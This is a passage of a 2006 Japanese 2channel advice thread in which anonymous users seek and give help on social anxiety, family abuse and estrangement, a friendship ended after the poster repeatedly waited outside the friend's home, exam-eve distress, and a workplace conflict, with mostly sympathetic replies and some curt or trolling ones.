724 :709:2006/11/10(金) 23:55:44 ID:pCyyQHDN
すいません、せめてなんか構ってくれたら嬉しいです。
ここではどうしようもないでしょうか。

神経科とか冗談半分でいってみたいと思うことがあるんですが、
行って正常って言われたらかえって沈むんで行こうと思いません。

725 :マジレスさん:2006/11/10(金) 23:56:40 ID:uCkOq0Tr
>>716
やはりそうですか・・・
怪我しないことと耐久性に優れる事だけがとりえでどんな痛くても医者に行かないのが自慢だったのですがココに来てそのツケが回りましたか。
分かりました。お医者に行ってみます。

726 :浩二 ◆9nSiqWjPc6 :2006/11/10(金) 23:57:19 ID:TYfIVdnu
>>721
君のわがままとかも理由にあるんじゃないのか?
死んでもらいたいなんて言ってるところから見ると
君が過去になにか問題を起こしたんじゃないのかね?
家族の信用を無くしてしまう様な問題を
君の言い分だけ主張してみてもここではなにも判断できんし悩みは解決しないよ
とことんまで一度家族で話し合う必要があるな

727 :マジレスさん:2006/11/10(金) 23:57:40 ID:XsBuYqZH
>>717
兄は26でニートで、私は21でバイトです
>>722
ありがとうございます

728 :マジレスさん:2006/11/10(金) 23:58:32 ID:jY18Avu3
>>726
幾ら家族といえど
自分のスケジュールを事細かに知っているというのは可笑しい事態じゃない?

729 :720:2006/11/10(金) 23:59:59 ID:uCkOq0Tr
725は720の安価ミスです。
さっきから安価ミスしまくってます。すみませぬ。

730 :浩二 ◆9nSiqWjPc6 :2006/11/11(土) 00:01:02 ID:TYfIVdnu
>>728
どこまで本当か解からん
自分が正しいと主張する奴は誇大的に話を作るからな

731 :マジレスさん:2006/11/11(土) 00:02:06 ID:gwbRLRW+
http://etc4.2ch.net/test/read.cgi/wcomic/1163150951/l50

キタ━━━━━━(゚∀゚)━━━━━━ !!!!!

なかよし それは、イケメンの代名詞  2ちゃんねる1のイケメンで超有名固定
彼の顔を見たものは、かならず、L'ArcーenーCielのボーカルに似てるという
では、L'ArcーenーCielのボーカルはどういう人物なのか
彼はアイドルと結婚した
その結果、童貞至上主義のファンは、彼の元を去り、
元ファンは彼の姿を見るたびに、「けっ!あんな女と結婚した、ナル男がっ!」 と、思うようになったらしい
彼は彼で、キムタクよろしく、生活臭をださないキャラで頑張っているようだが 残念ながら、失ったファンは戻らない
歌でファンを獲得した訳ではなく、ビジュアルでファンを獲得した歌手のなれの果てであるからだ 話をなかよしに戻そう
つまり、なかよしは結婚してないL'ArcーenーCielのボーカルのかわりなのである モテるのは当然
なかよしイケメン それは魔法の言葉
心の中で唱えれば、ほら?君もなかよしの虜

732 :マジレスさん:2006/11/11(土) 00:02:18 ID:XsBuYqZH
>>726
うちは両親とも虐待者なんですが
兄は家庭内暴力で暴れるようになり
私は、お金が貯まり次第、家を出るつもりですが
それまで時間がかかるのでどうにかできないものかと相談しました。

733 :マジレスさん:2006/11/11(土) 00:06:59 ID:XsBuYqZH
相談する場所間違えたみたい…。
730以外の方
ありがとうございました。m(__)m

734 :浩二 ◆9nSiqWjPc6 :2006/11/11(土) 00:07:04 ID:TYfIVdnu
>>732
なんかどんどん話がでかくなってきてるな

735 :マジレスさん:2006/11/11(土) 00:08:49 ID:gtWHK3sJ
>>709
見事にスルーされてるじゃないかw

736 :694:2006/11/11(土) 00:09:57 ID:lyCyoO8h
申し訳ないが今日は落ちます。

737 :マジレスさん:2006/11/11(土) 00:10:15 ID:0V1G6gdl
>>732
そんな事より、シイタケについて語ろうぜ!

738 :マジレスさん:2006/11/11(土) 00:11:08 ID:mZMtqGS/
>>727
なんか異常な人なのかも。一時的にかそうでもなくか。
世の中には一定程度そういう人いるからね。
あなた家出たらどう?

739 :709:2006/11/11(土) 00:11:27 ID:PPyfL6MO
>>735
だよなぁ・・
相談しやすい内容のやつには全く同じ内容のレス3個も4個もついてんのに><

740 :マジレスさん:2006/11/11(土) 00:11:41 ID:SQVLCpEZ
すみませんいつもお世話になっているモノですが、また相談させてください。うちの実家は家族がバラバラです。みんな揃って食事とかはほとんどなくて別々で皆食べています会話ももちろんほとんどないです。どぅしたら普通の家族になれるでしょうか…

741 :マジレスさん:2006/11/11(土) 00:13:48 ID:mZMtqGS/
>>727
ってごめん、金たまってからか。
じゃあ。金溜まるまではなるべく家にはいないようにする。
睡眠できるなら家は睡眠だけの場にする、と。

金溜まったら、居場所しらせず引っ越す。で
友人とかを作ってしばらく距離を置く。
お互いのためにね。

742 :マジレスさん:2006/11/11(土) 00:14:05 ID:0V1G6gdl
>>740
そんな事より、コロコロコミックについて語ろうぜ!

743 :マジレスさん:2006/11/11(土) 00:14:30 ID:SQVLCpEZ
続き→母は私の事を物凄く嫌っています。というか弟が可愛く子供に順番をつけています。余りにも腹がたった事があり話し合いをしても全く話しを聞いてくれないししまいには部屋に閉じこもり出てこなくなりました。本当にウツです…もぅ嫌だ

744 :マジレスさん:2006/11/11(土) 00:14:40 ID:mZMtqGS/
>>740
家族構成は?
あなた主催で家族旅行とか計画したら?
強引にさ。

745 :浩二 ◆9nSiqWjPc6 :2006/11/11(土) 00:16:14 ID:WlW7E1+c
>>740
こち亀の中川家みたいだな
とりあえず年に数回イベントみたいなのやってみれば?
家族みんなで一泊温泉旅行に行くとか
無理せず焦らず少しずつでいいからやれそうなこと見つけてやっていく方がいい

746 :マジレスさん:2006/11/11(土) 00:16:24 ID:SQVLCpEZ
すいません。なんか似たような相談あったみたいですね。

747 :マジレスさん:2006/11/11(土) 00:16:42 ID:sn33waXf
>>742
うるせぇよお前

748 :浩二 ◆9nSiqWjPc6 :2006/11/11(土) 00:17:09 ID:WlW7E1+c
かぶりwwwwwwwwwwwww

749 :740:2006/11/11(土) 00:19:39 ID:SQVLCpEZ
皆さんありがとうございます。旅行ですか…。今臨月で実家に帰っておりもぅ少ししたら自分の家に帰る予定なんです…。みんなで旅行にいかないとやっぱり意味はないですよね??

750 :マジレスさん:2006/11/11(土) 00:20:24 ID:ZltoRiVx
>>718
それは申し訳ないことをしました。すみません。
ぜひお願いいたします

751 :マジレスさん:2006/11/11(土) 00:20:31 ID:TJwdgyV5
>>709
お前こそスルーしやがって。お前にレスした心優しき人が2名ほどいるはずだ。
オレもレスした。安価ミスしたけど。
とりあえず真剣な相談じゃないからスルーされてんだろ。自己解決しろ。


752 :マジレスさん:2006/11/11(土) 00:21:09 ID:mZMtqGS/
別に旅行じゃなくても何かのイベントでいいと思うよ
旅行がわりと簡単そうかなと。


753 :709:2006/11/11(土) 00:21:11 ID:PPyfL6MO
マジでなんかレスが欲しい
3種類くらい相談したい内容があって何度かに分けてここに書いてきたけど、
今回と同じ内容前も書いてスルーされました。
珍しいケースだからでしょうか。

754 :マジレスさん:2006/11/11(土) 00:22:38 ID:0V1G6gdl
>>747
テンプレ嫁

755 :マジレスさん:2006/11/11(土) 00:23:41 ID:sn33waXf
>>740
音楽は
言葉の通じない相手とでも意思の疎通が出来る魔法だよ
音楽を使おう

756 :マジレスさん:2006/11/11(土) 00:30:17 ID:O6Janm5L
>>753
>>709の聞き方には答えにくいんじゃないでしょうか
>対人恐怖症というのでしょうか?
と聞かれても、私なんかは対人恐怖症に詳しいわけじゃありませんし
>的確な内容で煽って頂きたい
と言われたら、私では的確には難しいかなと躊躇します

757 :マジレスさん:2006/11/11(土) 00:31:24 ID:euKlGLLe
>>709
相手の気持ちを考えて、思いやりを持って行動・会話をすればいいのでは?

758 :740:2006/11/11(土) 00:33:10 ID:SQVLCpEZ
>>752サンありがとう。そぅですね…旅行もふまえてもぅ一度頑張ってみたいと思います!わざわざありがとうございました。
しかし最近荒れてますね。なんか変なのがいます。

759 :709:2006/11/11(土) 00:33:29 ID:PPyfL6MO
>>751
>>716の安価ミスに全く気付きませんでした。
リアルでは明るい暗いの問題よりも頭が回らなくなるって感じです。

しょうもない悩みに見えますでしょうか。
大学に入ってからマシにはなったんですけど、
高校3年間は対人恐怖症そのものであった自信がありますし
高1だとクラスの半分くらいからは嫌われてました。
俺が嫌われてることに気付いてるってことにみんな気付いてなかったです。
「じゃあ俺が上だ」と思いそのうち俺はそいつらを見下してました。
2chの晒しスレやらで人を散々煽ったり叩いたりする自分と
高校で友達がいなくて嫌われてて知能の薄い人だと思われてる自分が違いすぎて笑えました。
高慢だったと思いますがそれが原因なのかそうなる原因がそれらだったのか分かりません。

大学の今周りにいる人達は趣味も合うと思うしクオリティ高い人ばっかりですが、
大学が高校と同じパターンにならないか心配なんです。
真剣じゃない悩みに見えますか?

760 :740:2006/11/11(土) 00:34:21 ID:SQVLCpEZ
>>755サンもありがとう

761 :マジレスさん:2006/11/11(土) 00:36:23 ID:0V1G6gdl
>>759
選民思想乙

762 :709:2006/11/11(土) 00:40:16 ID:PPyfL6MO
>>756
考えが足りませんでした。
>>757
例えば自分はその最近嫌われた人に嫌われた理由が
「講義中に貸してもらったノートを無断で他人に見せた」
ことだと思っているのですが、これは普通の人から見てやられたら嫌な事なんでしょうか。
もうちょっと頭が働いてる時なら多分本人に断っておいたと思うんですけど、
その時はそれをしませんでした。
よく「自分がやられて嫌なことはするな」と聞きますが、自分ならされてもなんとも思わないので
思いやりというか意識しないと手が回らないところで失敗してしまったことになります。

なんか相手の気持ちとかいう以前に常識とかがちょっと欠けてるのかな。

763 :マジレスさん:2006/11/11(土) 00:41:19 ID:TJwdgyV5
>>759
煽ってっていうから煽ったのに・・(´・ω・`)
ただマジレスすると761が言う通り。
2ちゃん脳になりつつある。2ちゃんネラーって奴だ。
まだこれではまずいと自覚症状があるだけ末期ではないので2ちゃんでも人に優しく接したらいいと思います。
このスレは変な人やネラーが少ないのでリハビリにはいいでしょう。
イイヒトを演じていいので人の相談にのっていれば優しい心を取り戻せるかもしれません。

764 :711:2006/11/11(土) 00:41:57 ID:71uDKcVx
711ですが、普段ゲームとかをしている関係でメールとミクシーをしています。
エロ話とか世間話、元カレの話とかしてるうちに仲良くなって、って感じです。堅実なであいかとおもったのに体目的ですよね…そんなんはいやです
どう断ればよいですか?

765 :マジレスさん:2006/11/11(土) 00:43:19 ID:pzm8MyYY
>>709 リアルで人間関係が重いなら今は他人を気にする事なく勉学に励んでればいいんじゃない?

無理に明るい自分を作ろうとしてませんか自分は自分ですよ辛いようなら病院に行ってみては


766 :709:2006/11/11(土) 00:53:02 ID:PPyfL6MO
>>761
他人から見ればそう見えるんでしょうか・・
自覚が薄いということは選民だとしてその基準が自分以外から分からない内容だからですかね。
>>763
相手してくれて嬉しかったです。。
意識する優しさは薄っぺらいと思いながら
「今の自分優しくなかった?バランス的にどうなんだろ」とか訳分からんこと考えて
自分が何考えてるのか分からなくなったりもします。
遊びで偽善者を演じるのもリハビリにはいいんでしょうか。。頑張ります。
>>765
明るいキャラになろうと思ってませんけど自分の能力をリアルでも発揮したいです。
性格はかなり不真面目で単位も半分くらい落としました。
説明までしませんが行きたくない学科の大学にいってしまったので
最低ダブらないで卒業して公務員目指そうと思ってるんですけど
自分がやりたくない勉強をしていることにもストレス感じてるのかな。。

767 :マジレスさん:2006/11/11(土) 00:56:08 ID:ZltoRiVx
>>694
見落としていたようで、申し訳ありません。

まず、施設を特定した上で本人以外の告発がないか
問題となる出来事はないか、を調べます。

他、警察、またはマスコミ、効果的な告発方法を考えたいと思います。
ご協力お待ちしています。

768 :マジレスさん:2006/11/11(土) 00:56:26 ID:O6Janm5L
>>762
まず、「講義中に貸してもらったノートを無断で他人に見せた」
から怒っているのかちゃんと確認してみてはどうですか?
私はずぼらなので、そのくらいでは全然なんとも思いませんが嫌に思う人もいるでしょう
自分は平気なことなので気付かずにやってしまいました、次から気をつけますごめんなさいと
素直に理由を言って謝ってはどうでしょうか?
常識に欠けていると自分で思ったのなら、1つ常識が身についたと思えばいいのではないでしょうか
みんな失敗をしながら常識を身につけていくことはあると思います

769 :757:2006/11/11(土) 00:56:34 ID:euKlGLLe
>>709
人に借りた物を又貸しする事をよく思わない人は多いと思いますよ。
貸した相手のみを信頼して貸しているわけですから、断りも無く他の人に貸してしまうのは、なんか信頼を裏切られたような気持ちになったのではないでしょうか。
知らずに相手を不快にさせてしまったのなら、誠意を持って謝れば、わかってくれるのではないでしょうか。

770 :マジレスさん:2006/11/11(土) 01:00:56 ID:LQT1E8Cc
>>709
大学生なのかな?
学生相談室があるはずだから、カウンセリングを受けてみてはどうか?

771 :709:2006/11/11(土) 01:03:28 ID:PPyfL6MO
>>768
確認しようとしましたができてません。はっきりいってかなり嫌がられています。
最初にメールで聞いたのが悪かったんでしょうか。
「最近嫌われてるのは分かるんだけどなんか悪いことした?
多分月曜日の○○の時間のことだと思ってるんだけど。」
メールの内容はこうです。
返事はきてません。そのメールはその人と知り合いになったきっかけの人に
教えてもらったので一応向こうはこっちが登録してるのと知ってると思っているのですが

何故直接でなくてメールで送ったからというと、
「直接話すのを避ける人にそこを突っ込まれる筋合いはないよな?」
という気持ちからです。相手の顔を見ないほうが頭が回るしすぐ行動に移せるせいか
自分に原因があるのだとしたら素直に理由を聞いてみるという気持ちよりも
突然すぎる相手の態度に対して覚えた反感のほうが強くそのまま出してしまったわけで。

メール送って2週間すぎてるので体勢の建て直しは難しいです。

772 :709:2006/11/11(土) 01:09:15 ID:PPyfL6MO
>>770
キリスト教学って科目の人がそういう相談受け持ってるし
その教授には好感を持っているのですけど、
悩みそのものの累積が多く複雑で言わなくてはいけない情報量の多さを考えると
口伝えでは心細いので。。
主に恥ずかしいというのがあります。

あと自分は春にその人の受け持ちの科目の単位落としました。

773 :不完全力少年:2006/11/11(土) 01:10:44 ID:jp/xot2S
17歳で童貞で焦ってます・・・。

774 :マジレスさん:2006/11/11(土) 01:11:04 ID:euKlGLLe
>>709
ちゃんと会って話さないと・・・


775 :マジレスさん:2006/11/11(土) 01:14:39 ID:LQT1E8Cc
>>709
臨床心理士がいると思うんだけど。
カウンセリングはカウンセラーとの対話だから、
すべての情報を話さなければいけないわけじゃないよ。
どうも考えすぎて、思考がこんがらがっているように感じるんだが。
もう少しシンプルに考えてみたら。

776 :マジレスさん:2006/11/11(土) 01:15:03 ID:O6Janm5L
>>771
これは私が受けた印象なので、間違いだったらごめんなさい
あなたの文章を読んでいると、仲直りがしたいというよりは
なんだかケンカ腰に見えてしまうところがあるような気がします
内心で思っているだけとしても、そういう考えは相手に伝わるものだと思います
素直に謝りたい反省しているという気持ちに、本心から思わないと仲直りは難しいと思います

777 :709:2006/11/11(土) 01:16:14 ID:PPyfL6MO
>>769
自分も後で考えてそう思いますけど、
半年くらいは結構仲良くしてた(メールはしたことないけど毎日会うから必要無い)人が
それだけの理由で突然こうも避けるようになるものか、分かりません。
もしかしたら、そのことが原因で自分の他の要素に対しても嫌悪感を持つようになったのかも。
相手がこちらに対して腹を立ててるのか見下してるのかすら分かりません。
まあ恐らく自分がいるだけで自分達がいる机の近くにすら座りたがらないことから、
少々ムキになってる様子も伺えますが
>>774
そうですね。
もしかすると自分はそれをするかどうかの相談をしてほしかったのかもしれません。
相手がこちらを嫌っていることが確定している以上失うものはありませんから
他に人がいないときに声をかけてみるといいかもしれませんね。逃げそうだけど。

778 :マジレスさん:2006/11/11(土) 01:16:40 ID:pzm8MyYY
>>771 何となくだけどアナタは人を見下してませんか? メールにするのはいいが内容が…悪いことしたて 原因に察しがついてるならもしかして有れかなって書くべきだしだったら悪かったなて思いが感じられない

779 :マジレスさん:2006/11/11(土) 01:21:55 ID:nx4yBieA
アトピーが辛くて死にたいです 自分のやりたいこともできないし、将来の事を考えたらすべてやるきがなくなります

780 :709:2006/11/11(土) 01:22:05 ID:PPyfL6MO
>>776
むしろそう読んでもらおうと書いています。
>>771の通りそれほど素直に対応しなかったのが1つ。
>>759のようなことを書いたのも1つ。
そういうの全部に意見が欲しかったです。
相手は恐らく察しています。
>>778
選民思想っぽく見えるでしょうか。。見下してはないと思っているのですが
ここの人に聞いてもらう前に自分の行動を反省したり肯定したりは、あんまりしないようにしてるのですが
どちらかというとその時の感情で動いた自分を後悔しているかもです。

もしかしてあれかなって・・ 書きました。

781 :マジレスさん:2006/11/11(土) 01:23:34 ID:ekthXNWN
くだらないことなのですが聞いてください。

派遣のバイトに応募し、来週登録説明会に行く予定だったのですが
未成年のため親の同意書が必要とのことで、親に頼んだのですが
書いてくれませんでした。そのため、キャンセルします、って大丈夫でしょうか・・・?


782 :709:2006/11/11(土) 01:23:45 ID:PPyfL6MO
>>778
悪かったなって感じられないのは、悪かったのかよかったのか
全てに自信がないからです。

783 :マジレスさん:2006/11/11(土) 01:24:26 ID:hxaSdHD9
誰かいますか?
明日大学受験なんだけど、心身的に限界でもう嫌になってゴミ箱に受験票捨てて親と大喧嘩。
理由は複雑でうまく説明できないけど、受験までの我慢だと思ってた事が、
受験以降も続くって今日知ったんでもう耐えられなくなって。
部屋閉じこもろうとドア閉めたら、親が部屋に入ろうとしてドアに指が挟まり親泣きながら悶絶。
死ぬにも勇気なくて死ねないしどうしたらいいのか分からない…こんなつもりじゃなかったのに…
少し離れたところに祖母が住んでるけど寝てたら迷惑だろうし、ここで相談するしか思いつかなかった。
自分に対して本気でぶっ殺したい位の自己嫌悪と、明日とかこれからどうしたらいいのか分からない。

どうしようもない相談でごめんなさい。
まだ混乱してるので分かりにくい文章だと思うけど、何かあったら助言ください。
お願いします

784 :マジレスさん:2006/11/11(土) 01:29:58 ID:LQT1E8Cc
>>783
事情は良く分からないが、とにかく受験票を拾って
明日の受験のことだけを考えたほうがいいんじゃないか。
まずは明日の試験に全力をつくせ。
その後で考えよう。

785 :マジレスさん:2006/11/11(土) 01:30:16 ID:euKlGLLe
>>783
受験以降も続くいやな事ってなに?

786 :マジレスさん:2006/11/11(土) 01:36:28 ID:ekthXNWN
>>783
そういった状況に数え切れないほどなったことがあるので
状況的な意見になるのですが、朝、起きて受験会場へ行き試験を受ける。
それだけのことに集中し、親御さんとのことは試験がおわった後にまた考えた方がいいと思います。
面接でしたらある程度落ち着いていなきゃいけませんが。。

とりあえず好きな音楽でも聴き、寝床に入って身体を休めてください

787 :マジレスさん:2006/11/11(土) 01:36:51 ID:IaV8a7j3
>>783
何か親から圧力がかかっているのかな?
受験は親のためにするもんじゃない。
自分のためにするもんだよ。
我慢してまでやる受験ってことは志望してないのかな?

788 :マジレスさん:2006/11/11(土) 01:37:54 ID:pq2tsf+0
私は20才で今は就職してます
私は2005年に友達に着信拒否(電話で話せなくなる)されました
友達は家から歩いて会社に行っています
友達が会社から家に帰る時に私が友達の家の近くに行って友達を
まってました。それを何回もやりました。それから友達に電話した
ら、どなられたから、あやまって、ゆるしてもらいました今書いた
のは8月の話です。それから友達にかこの話ばかりしたら12月に
着信拒否されました。それから友達の家に電話して、あやまったの
ですが、ゆるしてくれませんでした家の電話も着信拒否されました
みなさんはこの話をどう思いますか?

789 :マジレスさん:2006/11/11(土) 01:41:20 ID:pzm8MyYY
>>783 何の為に大学に進もうと思ったのかな? 仕事して勉強したくなったら大学に行くて道も有るし、落ち着いてから自分の考えを両親と話しあってみては…

790 :マジレスさん:2006/11/11(土) 01:42:53 ID:IaV8a7j3
>>788
着信拒否された原因はわからないのかな?
文面を読む限りでは貴方との関係が重たくなった感じがするけど…

791 :マジレスさん:2006/11/11(土) 01:43:01 ID:euKlGLLe
>>783
この時期受験ってことは、推薦かな?
推薦だとしたら、明日あなたが受験しないと学校や後輩たちに迷惑かかるのではないですか?


792 :マジレスさん:2006/11/11(土) 01:46:40 ID:pq2tsf+0
>>790
着信拒否された原因はわかります

793 :783:2006/11/11(土) 01:49:33 ID:hxaSdHD9
言葉足らずですみません。
数年前から某芸術系の学校に入りたくて、夏からある先生に受験指導をして貰う事になったんだけど、
指導の二日前からお腹とか頭とか痛くなって吐きそうになるし、
終わった後は泣きながら帰る位駄目で、それを習う事自体も苦痛だったけど明日までの我慢だと思ってた。
でも受験が終わってもし落ちたらまた一般に向けて指導があって、
通ったらそのまま大学入っても大学でその先生に習い続けなきゃいけないらしい。
その先生は凄く偉い先生らしく、一度切ったらもう業界にはいれないとかで。
それでもいいんだけど(ていうかその先生についてからやりたくなくなった)、
親にそう言ったらボロクソ言われて勘当寸前に。
完全に自分が悪いのは分かってるけど、こうなったらどうしたらいいのか本気で分からない…
他人にはその先生に習えるのを羨ましがられるのがまた辛かった。

794 :マジレスさん:2006/11/11(土) 01:49:37 ID:IaV8a7j3
>>792
原因は何ですか?
それがわからないので先ほどと答えは同じです。

795 :マジレスさん:2006/11/11(土) 01:50:47 ID:ekthXNWN
あの、781にもなにかお返事いただけないでしょうか・・・?

796 :マジレスさん:2006/11/11(土) 01:51:02 ID:eBleUoUR
>>783
やっぱり試験受けたほうがイイと思うよ。
結果、プロセスに親がガミガミ言って来るんだったらその時争えばいい
ただ、親も不安になってるって事は汲み取ってあげてほしい。
受験そのものを前にして子供が荒れたんじゃ、そうなるだろう。
健闘を祈る。うまくいくといいな。

797 :マジレスさん:2006/11/11(土) 01:53:46 ID:TJwdgyV5
>>781
大丈夫。そこのバイトではもう受からないだけで問題はない。
>>783
寝なさい。そんで「大学受かって一人暮らしして家出てやる」ってのをモチベーションにして明日頑張りなさい。

798 :マジレスさん:2006/11/11(土) 01:55:14 ID:ekthXNWN
>>797
分かりました。。ありがとうございます

799 :マジレスさん:2006/11/11(土) 01:55:35 ID:pq2tsf+0
>>794
友達は家から歩いて会社に行っています
友達が会社から家に帰る時に私が友達の家の近くに行って友達を
まってました。それを何回もやった事と友達にかこの話ばかりした事です

800 :マジレスさん:2006/11/11(土) 01:56:31 ID:O6Janm5L
>>795
応募先に、そのまま説明すればいいんじゃないでしょうか?
必要な同意書が親に書いてもらえませんでしたのでキャンセルしますと
それ以外にしようがないと思います

801 :709:2006/11/11(土) 01:57:29 ID:PPyfL6MO
聞いてくれる人がいてちょっと落ち着きました。
自分は自分で思ってるより性格悪いみたいですね。
嫌われた知り合いの件に関しては土日終わったら本人に直接言いにいきます。
普段3時半とかに寝てるんですけど今日はちょっと早めに寝てみます。

たくさんの意見ありがとうございました。

802 :マジレスさん:2006/11/11(土) 01:57:58 ID:ekthXNWN
>>800
そうですか。。そうですよね・・・。
お返事ありがとうございます。

803 :マジレスさん:2006/11/11(土) 02:02:02 ID:IaV8a7j3
>>793
こちらこそ推測で答えてごめんなさい。
芸術関係の先生はスパルタ系やヒステリック系が多いみたいですがそんな感じなんでしょうか?
目指す大学でも習わなきゃいけないのは大変ですね…
私にはわからないけれど指導方法によっては(理不尽且つ非人道的)、
別の道を選択するのも一つだとは思います。
ただ明日が受験ということですから、
受けるだけ受けた方が良いと思います。
途中で投げ出すよりも大学に落とされた方が親も諦めがつくでしょうし…

804 :マジレスさん:2006/11/11(土) 02:02:34 ID:KXNLVrRQ
自分の心の狭さが嫌でたまらない。
他人に迷惑をかけない、他人には謙虚にと育てられて自分が我慢すればいいって信じて育ってきた。
だから傍若無人な人のことが許せないし、心のなかで軽蔑してる自分がいる。
できれば、他人は他人、自分は自分と割り切って他人の嫌な事も許せる自分になりたい。
理屈ではなく、共感してくれる一言が欲しいのに…みんな強いな。

805 :マジレスさん:2006/11/11(土) 02:04:53 ID:IaV8a7j3
>>799
それは文面を読んだのでわかるんですが、
そもそも最初の時点で着信拒否された原因は?

806 :マジレスさん:2006/11/11(土) 02:06:10 ID:euKlGLLe
>>793
芸術系はそういうのあるんだよねぇ。
何科かわからないけど、真剣にその道で極めたいのなら、耐えなくてはならないかなぁ。
どうしても耐えられないのなら、むいてないのかも。
でも、真剣にその道を歩もうと思うのならば、どこに行ってもかなり厳しいと思うよ。
あなた自身が強くなるのは難しいのかな?

807 :マジレスさん:2006/11/11(土) 02:08:48 ID:M9COa7v2
懺悔したくて来ました

私は貴女が羨ましかった
年収700万円から1500万円に上がったから
入塾金も払えた訳ですね。

合格おめでとう

貧乏人は敗者 富裕層の貴女は勝者

私は苦しかった





808 :マジレスさん:2006/11/11(土) 02:09:19 ID:pq2tsf+0
>>805
書き方まちがってました
すいません

809 :マジレスさん:2006/11/11(土) 02:10:45 ID:q4hzYLju
>>804
おまえ…俺?

810 :マジレスさん:2006/11/11(土) 02:14:18 ID:KXNLVrRQ
>>809
無理なものに立ち向かってどうこうしたいわけじゃないんだよね。
誰かが「わかるよ。ムカつくよね。」って一言言ってくれるだけで救われる事も
あるんだな。でもそれを望むのには大人になり過ぎたんだ。

811 :マジレスさん:2006/11/11(土) 02:15:24 ID:IaV8a7j3
>>804
自分が我慢してるとつけあがってくる人もいますよね。
傍若無人な人は私も好きじゃないです。
でもそんな人に限って世渡り上手だったりして、
我慢してる自分がバカバカしくなったり(苦笑)
ある程度軽蔑してしまうのは仕方ないと思います。
反面教師で自分はあの人のようにならなくて良かった〜と思えたら多少は許せるのではないでしょうか。。

812 :マジレスさん:2006/11/11(土) 02:21:47 ID:KXNLVrRQ
>>811ありがとう。
経験や年齢が解決してくれる問題なのかもしれないけれど、
例えば相手との距離が上手く取れるようになったりとか。
ただ、他人の振る舞いを嫌だと感じることは自分に余裕がないせいなのかと思って。
相手に勝ちたいとか、やり込めたいじゃなく気にならない人になりたい。

813 :マジレスさん:2006/11/11(土) 02:22:49 ID:q4hzYLju
>>810
装って装って生きてきて、気付いたらいつも一人。頼りたいと思っても心の底に染み付いた…
なんだこれ?プライドなのか?何でこんなに寂しいんだ?

814 :マジレスさん:2006/11/11(土) 02:24:54 ID:pvzfrTxs
>>813
実はみんなそんなもんなんだっていつか気づくよ

815 :マジレスさん:2006/11/11(土) 02:28:02 ID:KXNLVrRQ
>>813
多分、…自分に言うようでアレだけど、素直に育ってきたからなのかなって思う。
世の中綺麗事ばかりじゃないし、傷付くのはずるくなく、我慢する人。
だけど自分がいけないと信じてることはできない。だから損だなと感じる。
そして、その感情に自己嫌悪。疲れてるのかな…。

816 :マジレスさん:2006/11/11(土) 02:31:04 ID:O6Janm5L
>>804
自分が嫌いだと思うことは、変えられないと思います
自分の好きな人でも、これだけはやめてくれたらもっといいのに
ということもあると思います
自分が嫌いな人っていうのは、嫌いな面ばかり見えているんだと思います
その人の良い面も見つけられたら、嫌な面も許せる気分に近づけるんじゃないでしょうか

817 :マジレスさん:2006/11/11(土) 02:33:37 ID:hxaSdHD9
沢山のレス本当にありがとうございます。
一つ一つ泣きながら読ませていただきました。
皆さんのおっしゃる通り明日は受けてみることにします。
もともと親にやらされた事で、やりたいからやっているのではなく、
どっちかと言えばこれしか出来ないからやってる事なので…
それに気付いた時にはもうこの状態でした。
出来る事なら今からでも別の道に進みたいですが、母親に
「あんたみたいな人間が社会で生きていけるとは思えない。○○行かないなら出てって就職でもしてろ」
と言われて他の方法でやっていける自信がないんです。 
これで辞めて普通に働いても、また投げ出して本当に何もかもなくすんじゃないかと思うと恐くて…
受けてみてからまた考えます。
本当にありがとうございました。

818 :マジレスさん:2006/11/11(土) 02:34:10 ID:E3LCGfit
>>804
自分に対する理想が高すぎるだけじゃねーの

819 :マジレスさん:2006/11/11(土) 02:35:24 ID:IaV8a7j3
>>812
確かに経験や年齢が解決してくれる問題なのかもしれないですね。
他人の振る舞いを嫌だと感じることは普通の感情だと思います。
ただ、感じた後イライラして他の事が手につかないのであれば自分に余裕がないのも一つの原因かもしれませんね。

私は貴方が心が狭いとは思えません。
むしろ繊細で色々な点に気がつく方なのだと思います。

820 :マジレスさん:2006/11/11(土) 02:35:40 ID:KXNLVrRQ
>>816
そっか…そうかも。嫌な面しか見えなくなってるかもしれない。
自分のマイナスな感情に振り回されてるのは自分の責任だもんね。
せめて自分の感情には自分で責任持てるようにならないとな…。ありがとう。

821 :マジレスさん:2006/11/11(土) 02:35:45 ID:Q6mfSMjX
今日、上司と喧嘩しました。発端は僕が上司の後ろにたっていたら上司が
「なにやってるか」
といい、蹴りを僕の足に入れました。
僕はビックリして
「なに?!わけ分からんわ」
といったら
「お前のせいでイライラするんだ」
といわれました
そのあとの帰り道で、お前は誠意が無いとか、落ち度があると顔をみないとか、もう少しで認めてやったのにとか、うるさいよ!
「どうしたら、認められるんですか!」
といったら
「そんなもん、自分で考えられんのか」
といわれ
「認められる努力はしてみます」
といった、俺は忘れ物が多いらしい、っていうか第三者が
「忘れ物をなくすとか」
っていってた、俺は認められたい、どうする、どうしたらいい?

822 :マジレスさん:2006/11/11(土) 02:36:46 ID:E3LCGfit
>>817
んで、怪我させた親には謝ったの?
自分のことばかり考えてるようだけど。

823 :マジレスさん:2006/11/11(土) 02:37:24 ID:VG85VQEe
現在26歳です。
就職が決まりましたが、
職場が全国転勤のあるところです。
働くにあたって、実家から出るのが少し億劫になってきています。
親も寂しそうにしています。
私としてはそこで働く決心を固めないといけない、とも
思っているのですが、なんだか憂鬱な気分です。
全国転勤ということで、
日本各地で働くことで視野を広げることができる、
自分を成長させることのできるチャンスであるという風に
とらえるべきでしょうか?
どなたかアドバイスおねがいいたします。

824 :マジレスさん:2006/11/11(土) 02:38:43 ID:q4hzYLju
>>815
やっぱり俺だったか。
ほんと素直に生きてきた…っていうか俺の場合極端に小心者でね。まわりから嫌われるのが怖くて怖くて仕方ないんだ。こんなに誰かとの繋がりを求めてるくせに嫌われるのが怖い。

しかもそのことをまわりに言い出せない邪魔なプライド。ほんと俺困った。やべ…欝。

825 :マジレスさん:2006/11/11(土) 02:39:06 ID:KXNLVrRQ
>>818-819
ありがとう。聞いてくれて少し楽になったよ。
深く考えすぎるのも性格ではあるけれど、いいことでもないね。
自分をコントロールするのはできそうだ。

826 :マジレスさん:2006/11/11(土) 02:40:33 ID:E3LCGfit
>>821
お前がどういう奴かも知らん俺らに相談する時点でおかしかろう。
俺もお前に「自分で考えられんのか」と言いたい。

>>823
億劫になってる理由は…
・正直めんどくさい
・親が心配
のどちら?
そして、そこ以外の選択は絶対にありえないの?
そこら辺次第で結構変わると思うんだけど。

827 :マジレスさん:2006/11/11(土) 02:42:16 ID:pvzfrTxs
>>823
>日本各地で働くことで視野を広げることができる、
>自分を成長させることのできるチャンスであるという風に
>とらえるべきでしょうか?

